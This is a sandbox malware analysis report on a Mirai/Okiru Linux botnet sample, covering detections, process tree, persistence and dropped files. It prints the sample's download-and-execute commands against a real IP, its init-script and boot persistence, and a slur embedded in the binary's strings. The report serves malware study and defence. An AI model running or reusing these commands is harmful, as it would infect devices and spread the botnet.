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Linux Analysis Report
m68k.nn.elf

Overview

General Information

Sample name:	m68k.nn.elf
Analysis ID:	1579429
MD5:	f457bbd6f712e4fce78b36c509fa93dc
SHA1:	b384c2e766c782a8161082fd1256fab2757c19aa
SHA256:	7b21eb15e07585666b788917dd82723589f27c1d75752b9301147ed6b3d18ac2
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Okiru

Drops files in suspicious directories

Sample tries to persist itself using /etc/profile

Sample tries to persist itself using System V runlevels

Sample tries to set files in /etc globally writable

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "systemctl" command used for controlling the systemd system and service manager

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to set the executable flag

Uses the "uname" system call to query kernel version information (possible evasion)

Writes shell script file to disk with an unusual file extension

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579429
Start date and time:	2024-12-22 09:48:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	m68k.nn.elf
Detection:	MAL
Classification:	mal80.spre.troj.evad.linELF@0/10@2/0

Warnings

VT rate limit hit for: /etc/init.d/m68k.nn.elf

Runtime Messages

Command:	/tmp/m68k.nn.elf
PID:	5504
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

m68k.nn.elf (PID: 5504, Parent: 5426, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/m68k.nn.elf

m68k.nn.elf New Fork (PID: 5520, Parent: 5504)

sh (PID: 5520, Parent: 5504, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "systemctl enable custom.service >/dev/null 2>&1"

sh New Fork (PID: 5533, Parent: 5520)

systemctl (PID: 5533, Parent: 5520, MD5: 4deddfb6741481f68aeac522cc26ff4b) Arguments: systemctl enable custom.service

m68k.nn.elf New Fork (PID: 5549, Parent: 5504)

sh (PID: 5549, Parent: 5504, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"

sh New Fork (PID: 5551, Parent: 5549)

chmod (PID: 5551, Parent: 5549, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/system

m68k.nn.elf New Fork (PID: 5552, Parent: 5504)

sh (PID: 5552, Parent: 5504, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"

sh New Fork (PID: 5554, Parent: 5552)

ln (PID: 5554, Parent: 5552, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/system /etc/rcS.d/S99system

m68k.nn.elf New Fork (PID: 5555, Parent: 5504)

sh (PID: 5555, Parent: 5504, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"

m68k.nn.elf New Fork (PID: 5560, Parent: 5504)

sh (PID: 5560, Parent: 5504, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"

sh New Fork (PID: 5562, Parent: 5560)

chmod (PID: 5562, Parent: 5560, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod +x /etc/init.d/m68k.nn.elf

m68k.nn.elf New Fork (PID: 5563, Parent: 5504)

sh (PID: 5563, Parent: 5504, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"

sh New Fork (PID: 5568, Parent: 5563)

mkdir (PID: 5568, Parent: 5563, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir -p /etc/rc.d

m68k.nn.elf New Fork (PID: 5569, Parent: 5504)

sh (PID: 5569, Parent: 5504, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"

sh New Fork (PID: 5571, Parent: 5569)

ln (PID: 5571, Parent: 5569, MD5: e933cf05571f62c0157d4e2dfcaea282) Arguments: ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf

udisksd New Fork (PID: 5516, Parent: 802)

dumpe2fs (PID: 5516, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

systemd New Fork (PID: 5547, Parent: 5546)

snapd-env-generator (PID: 5547, Parent: 5546, MD5: 3633b075f40283ec938a2a6a89671b0e) Arguments: /usr/lib/systemd/system-environment-generators/snapd-env-generator

udisksd New Fork (PID: 5604, Parent: 802)

dumpe2fs (PID: 5604, Parent: 802, MD5: 5c66f7d8f7681a40562cf049ad4b72b4) Arguments: dumpe2fs -h /dev/dm-0

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
m68k.nn.elf	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
m68k.nn.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp	JoeSecurity_Okiru	Yara detected Okiru	Joe Security
5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: m68k.nn.elf PID: 5504	JoeSecurity_Okiru	Yara detected Okiru	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: m68k.nn.elf	Virustotal: Detection: 33%			Perma Link
Source: m68k.nn.elf	ReversingLabs: Detection: 34%

Source: m68k.nn.elf	String: getinfo xxxNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s
Source: m68k.nn.elf	String: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- \| sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- \| sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- \| sh94.156.227.233GET /dlr. HTTP/1.0

Source: /tmp/m68k.nn.elf (PID: 5504)

Socket: 0.0.0.0:38242

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: m68k.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, m68k.nn.elf.30.dr, custom.service.12.dr	String found in binary or memory: http://94.156.227.233/
Source: m68k.nn.elf	String found in binary or memory: http://94.156.227.233/curl.sh
Source: m68k.nn.elf	String found in binary or memory: http://94.156.227.233/lol.sh
Source: m68k.nn.elf	String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: getinfo xxxNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/co
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- \| sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- \| sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- \| sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- \| sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- \| sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal80.spre.troj.evad.linELF@0/10@2/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/m68k.nn.elf (PID: 5504)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/m68k.nn.elf (PID: 5504)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 5554)	File: /etc/rcS.d/S99system -> /etc/init.d/system	Jump to behavior
Source: /usr/bin/ln (PID: 5571)	File: /etc/rc.d/S99m68k.nn.elf -> /etc/init.d/m68k.nn.elf	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/m68k.nn.elf (PID: 5504)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5551)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5562)	File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/m68k.nn.elf (PID: 5520)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5549)	Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5552)	Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5555)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5560)	Shell command executed: sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5563)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5569)	Shell command executed: sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1"	Jump to behavior

Source: /bin/sh (PID: 5551)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system			Jump to behavior
Source: /bin/sh (PID: 5562)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/m68k.nn.elf			Jump to behavior

Source: /bin/sh (PID: 5568)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Source: /bin/sh (PID: 5533)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Source: /tmp/m68k.nn.elf (PID: 5504)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5551)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 5562)	File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Source: /tmp/m68k.nn.elf (PID: 5504)	Writes shell script file to disk with an unusual file extension: /etc/init.d/system	Jump to dropped file
Source: /tmp/m68k.nn.elf (PID: 5504)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 5555)	Writes shell script file to disk with an unusual file extension: /etc/init.d/m68k.nn.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/m68k.nn.elf (PID: 5504)	File: /etc/init.d/system			Jump to dropped file
Source: /bin/sh (PID: 5555)	File: /etc/init.d/m68k.nn.elf			Jump to dropped file

Source: /tmp/m68k.nn.elf (PID: 5504)

Queries kernel information via 'uname':

Jump to behavior

Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp	Binary or memory string: /qemu-open.XXXXX
Source: m68k.nn.elf, 5504.1.0000562b7cf30000.0000562b7cfb5000.rw-.sdmp	Binary or memory string: /usr/bin/vmtoolsd
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: m68k.nn.elf, 5504.1.0000562b7cf30000.0000562b7cfb5000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k
Source: m68k.nn.elf, 5504.1.0000562b7cf30000.0000562b7cfb5000.rw-.sdmp	Binary or memory string: \|+V5!/usr/bin/vmtoolsd
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp	Binary or memory string: ?x86_64/usr/bin/qemu-m68k/tmp/m68k.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/m68k.nn.elf
Source: m68k.nn.elf, 5504.1.0000562b7cf30000.0000562b7cfb5000.rw-.sdmp	Binary or memory string: \|+V!/etc/qemu-binfmt/m68k
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.Fr6rHn
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp	Binary or memory string: sy+V/tmp/qemu-open.Fr6rHn-

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: m68k.nn.elf, type: SAMPLE
Source: Yara match	File source: 5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp, type: MEMORY

Yara detected Okiru

Source: Yara match	File source: m68k.nn.elf, type: SAMPLE
Source: Yara match	File source: 5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m68k.nn.elf PID: 5504, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: m68k.nn.elf, type: SAMPLE
Source: Yara match	File source: 5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp, type: MEMORY

Yara detected Okiru

Source: Yara match	File source: m68k.nn.elf, type: SAMPLE
Source: Yara match	File source: 5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m68k.nn.elf PID: 5504, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	Windows Management Instrumentation	1 Unix Shell Configuration Modification	1 Unix Shell Configuration Modification	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	1 Data Manipulation
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Systemd Service	1 Systemd Service	2 File and Directory Permissions Modification	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Scripting	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
m68k.nn.elf	33%	Virustotal		Browse
m68k.nn.elf	34%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

Source	Detection	Scanner	Label	Link
/etc/rc.local	0%	ReversingLabs

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://94.156.227.233/curl.sh	m68k.nn.elf	false	high
http://94.156.227.233/lol.sh	m68k.nn.elf	false	high
http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s	m68k.nn.elf	false	high
http://94.156.227.233/	m68k.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, m68k.nn.elf.30.dr, custom.service.12.dr	false	high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	vlxx.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.mipsel.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.24

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
/etc/init.d/m68k.nn.elf	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/init.d/m68k.nn.elf	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/init.d/system	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/init.d/system	m68k.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
/etc/rc.local	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse

Created / dropped Files

/boot/bootcmd

Download File

Process:	/tmp/m68k.nn.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	120
Entropy (8bit):	4.71023514082177
Encrypted:	false
SSDEEP:	3:KPJRXSC/ANFDDoCvLdjX48FIbILbaaFOdFXa5O:WJRlufoYZX48bbaaeXCO
MD5:	82FAEE159509BB5192AA520D95440C3D
SHA1:	66BA9BC025F6E90666F34A8E38EAA89B719B7DC8
SHA-256:	E7BAC6C0AFEE6CC2EB7C778318124C284367B83C9EF3D6F7DDF9AC38FCF2F990
SHA-512:	D63BE1C08A45D85EB6B3DB74A93F1A266E194729CEF8BDB136597C3E89B83C36B495E12ADF73CC24484210824BC5122F87714446B9D1584C9D6ED0C0220D7B1E
Malicious:	false
Reputation:	low
Preview:	run bootcmd_mmc0; /tmp/m68k.nn.elf && wget http://94.156.227.233/ -O /tmp/lol.sh && chmod +x /tmp/lol.sh && /tmp/lol.sh.

/etc/init.d/m68k.nn.elf

Download File

Process:	/bin/sh
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	400
Entropy (8bit):	4.612244173377962
Encrypted:	false
SSDEEP:	12:QRkiMEXNxl8GPUJgjvMHK2FSuKN+dRRucSOyd3:vRGcISzhYOM3
MD5:	42A0E283E013A117BA7E3D837377CF3E
SHA1:	6C5454636C1771F46A606C304DCE8B4AB80B566A
SHA-256:	1BB893683F5E24931B53216BEFA2506111E440E08ADA73924BE5BC6D93F69F90
SHA-512:	7D60DF45AB791CEF8ED0511D8E1AA36575A58F7213A1A217CB1C51DCABCF7C594441980B4216C81D5027212866421DFADE6FFCEBEFF29E2D81B828A1B7BF2C2B
Malicious:	true
Joe Sandbox View:	Filename: m68k.nn.elf, Detection: malicious, Browse Filename: m68k.nn.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/sh.# /etc/init.d/m68k.nn.elf..case "" in. start). echo 'Starting m68k.nn.elf'. /tmp/m68k.nn.elf &. wget http://94.156.227.233/ -O /tmp/lol.sh. chmod +x /tmp/lol.sh. /tmp/lol.sh &. ;;. stop). echo 'Stopping m68k.nn.elf'. killall m68k.nn.elf. ;;. restart). sh stop. sh start. ;;. *). echo "Usage: sh {start\|stop\|restart}". exit 1. ;;.esac.exit 0.

/etc/init.d/system

Download File

Process:	/tmp/m68k.nn.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	107
Entropy (8bit):	4.6965251577946185
Encrypted:	false
SSDEEP:	3:TKH4vZKSC/ANFDvSDRFiLdjX48FIbILpaKB0dFLoKE0:h8luzSXoZX48bzBeLXE0
MD5:	75C3B0070571A42064490B0A59C5F54F
SHA1:	5E48FEB277032F0F45255EC98EC6FDDB9710180D
SHA-256:	3AAFF2180555B9691F8AECA6944ED2B5574D3612A0B4F91AE56A31DD30F3024B
